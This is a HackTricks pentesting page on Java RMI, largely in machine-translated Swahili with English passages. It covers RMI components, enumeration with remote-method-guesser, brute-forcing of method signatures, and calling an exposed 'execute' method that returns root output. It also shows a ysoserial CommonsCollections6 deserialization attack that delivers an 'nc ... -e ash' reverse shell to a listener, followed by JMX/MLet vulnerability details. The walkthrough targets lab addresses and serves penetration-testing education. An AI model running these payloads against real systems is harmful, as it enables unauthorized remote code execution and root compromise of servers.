1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Basic Information

Java Remote Method Invocation, or Java RMI, ni mekanizma ya RPC iliyo na mwelekeo wa kitu inayoruhusu kitu kilichopo katika Java virtual machine moja kuita mbinu kwenye kitu kilichopo katika Java virtual machine nyingine. Hii inawawezesha waendelezaji kuandika programu zilizogawanywa kwa kutumia mtindo wa mwelekeo wa kitu. Utangulizi mfupi wa Java RMI kutoka mtazamo wa mashambulizi unaweza kupatikana katika hii hotuba ya blackhat.

Default port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Kawaida, ni sehemu za Java RMI za kawaida tu (RMI Registry na Activation System) ndizo zinazofungwa kwenye bandari za kawaida. Vitu vya mbali vinavyotekeleza programu halisi ya RMI kawaida vinafungwa kwenye bandari za nasibu kama inavyoonyeshwa kwenye matokeo hapo juu.

nmap mara nyingine huwa na shida kutambua huduma za RMI zilizolindwa na SSL. Ikiwa unakutana na huduma isiyojulikana ya ssl kwenye bandari ya kawaida ya RMI, unapaswa kuchunguza zaidi.

RMI Components

Kwa maneno rahisi, Java RMI inaruhusu mendelezi kufanya Java object ipatikane kwenye mtandao. Hii inafungua bandari ya TCP ambapo wateja wanaweza kuungana na kuita mbinu kwenye kitu husika. Ingawa hii inasikika rahisi, kuna changamoto kadhaa ambazo Java RMI inahitaji kutatua:

  1. Ili kutuma wito wa mbinu kupitia Java RMI, wateja wanahitaji kujua anwani ya IP, bandari inayosikiliza, darasa au interface iliyotekelezwa na ObjID ya kitu kilichokusudiwa ( ObjID ni kitambulisho cha kipekee na nasibu ambacho kinaundwa wakati kitu kinapatikana kwenye mtandao. Inahitajika kwa sababu Java RMI inaruhusu vitu vingi kusikiliza kwenye bandari moja ya TCP).

  2. Wateja wa mbali wanaweza kugawa rasilimali kwenye seva kwa kuita mbinu kwenye kitu kilichofichuliwa. Java virtual machine inahitaji kufuatilia ni zipi kati ya rasilimali hizi bado zinatumika na zipi kati yake zinaweza kukusanywa kama taka.

Changamoto ya kwanza inatatuliwa na RMI registry, ambayo kimsingi ni huduma ya upatanishi kwa Java RMI. RMI registry yenyewe pia ni RMI service, lakini interface iliyotekelezwa na ObjID ni thabiti na inajulikana na wateja wote wa RMI. Hii inaruhusu wateja wa RMI kutumia RMI registry kwa kujua tu bandari husika ya TCP.

Wakati waendelezaji wanataka kufanya Java objects zao zipatikane ndani ya mtandao, kawaida wanazifunga kwenye RMI registry. Registry inahifadhi taarifa zote zinazohitajika kuungana na kitu (anwani ya IP, bandari inayosikiliza, darasa au interface iliyotekelezwa na thamani ya ObjID) na inafanya ipatikane chini ya jina linaloweza kusomeka na binadamu (jina lililofungwa). Wateja wanaotaka kutumia RMI service wanauliza RMI registry kwa jina lililofungwa husika na registry inarudisha taarifa zote zinazohitajika kuungana. Hivyo, hali ni sawa na huduma ya kawaida ya DNS. Orodha ifuatayo inaonyesha mfano mdogo:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

The second of the above mentioned challenges is solved by the Distributed Garbage Collector (DGC). This is another RMI service with a well known ObjID value and it is available on basically each RMI endpoint. When an RMI client starts to use an RMI service, it sends an information to the DGC that the corresponding remote object is in use. The DGC can then track the reference count and is able to cleanup unused objects.

Pamoja na Activation System iliyotengwa, hizi ndizo sehemu tatu za kawaida za Java RMI:

  1. The RMI Registry (ObjID = 0)

  2. The Activation System (ObjID = 1)

  3. The Distributed Garbage Collector (ObjID = 2)

The default components of Java RMI have been known attack vectors for quite some time and multiple vulnerabilities exist in outdated Java versions. From an attacker perspective, these default components are interisting, because they implemented known classes / interfaces and it is easily possible to interact with them. This situation is different for custom RMI services. To call a method on a remote object, you need to know the corresponding method signature in advance. Without knowing an existing method signature, there is no way to communicate to a RMI service.

RMI Enumeration

remote-method-guesser is a Java RMI vulnerability scanner that is capable of identifying common RMI vulnerabilities automatically. Whenever you identify an RMI endpoint, you should give it a try:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Matokeo ya hatua ya kuorodhesha yanaelezewa kwa undani zaidi katika kurasa za hati za mradi. Kulingana na matokeo, unapaswa kujaribu kuthibitisha udhaifu ulioainishwa.

Thamani za ObjID zinazonyeshwa na remote-method-guesser zinaweza kutumika kubaini muda wa huduma. Hii inaweza kuruhusu kubaini udhaifu mwingine:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Hata wakati hakuna udhaifu ulioainishwa wakati wa kuhesabu, huduma za RMI zilizopo zinaweza bado kufichua kazi hatari. Zaidi ya hayo, licha ya mawasiliano ya RMI na vipengele vya kawaida vya RMI kulindwa na filters za deserialization, wakati wa kuzungumza na huduma za RMI za kawaida, filters kama hizo kwa kawaida hazipo. Kujua saini sahihi za mbinu kwenye huduma za RMI ni muhimu.

Kwa bahati mbaya, Java RMI haisaidii kuhesabu mbinu kwenye objects za mbali. Hata hivyo, inawezekana kubruteforce saini za mbinu kwa kutumia zana kama remote-method-guesser au rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Mbinu zilizotambuliwa zinaweza kuitwa kama hii:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Au unaweza kufanya mashambulizi ya deserialization kama hii:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

More information can be found in these articles:

Mbali na kukisia, unapaswa pia kutafuta katika injini za utafutaji au GitHub kwa ajili ya interface au hata utekelezaji wa huduma ya RMI uliokutana nayo. Jina lililofungwa na jina la darasa au interface iliyotekelezwa vinaweza kuwa na msaada hapa.

Known Interfaces

remote-method-guesser inaashiria madarasa au interfaces kama known ikiwa yanatajwa katika hifadhidata ya ndani ya zana ya huduma za RMI zinazojulikana. Katika kesi hizi unaweza kutumia hatua ya known kupata maelezo zaidi kuhusu huduma husika ya RMI:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Tools

References

HackTricks Amri za Otomatiki

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Tumia Trickest kujenga na kujiendesha kiotomatiki kazi zinazotolewa na zana za jamii zilizoendelea zaidi duniani. Pata Ufikiaji Leo:

Support HackTricks

Last updated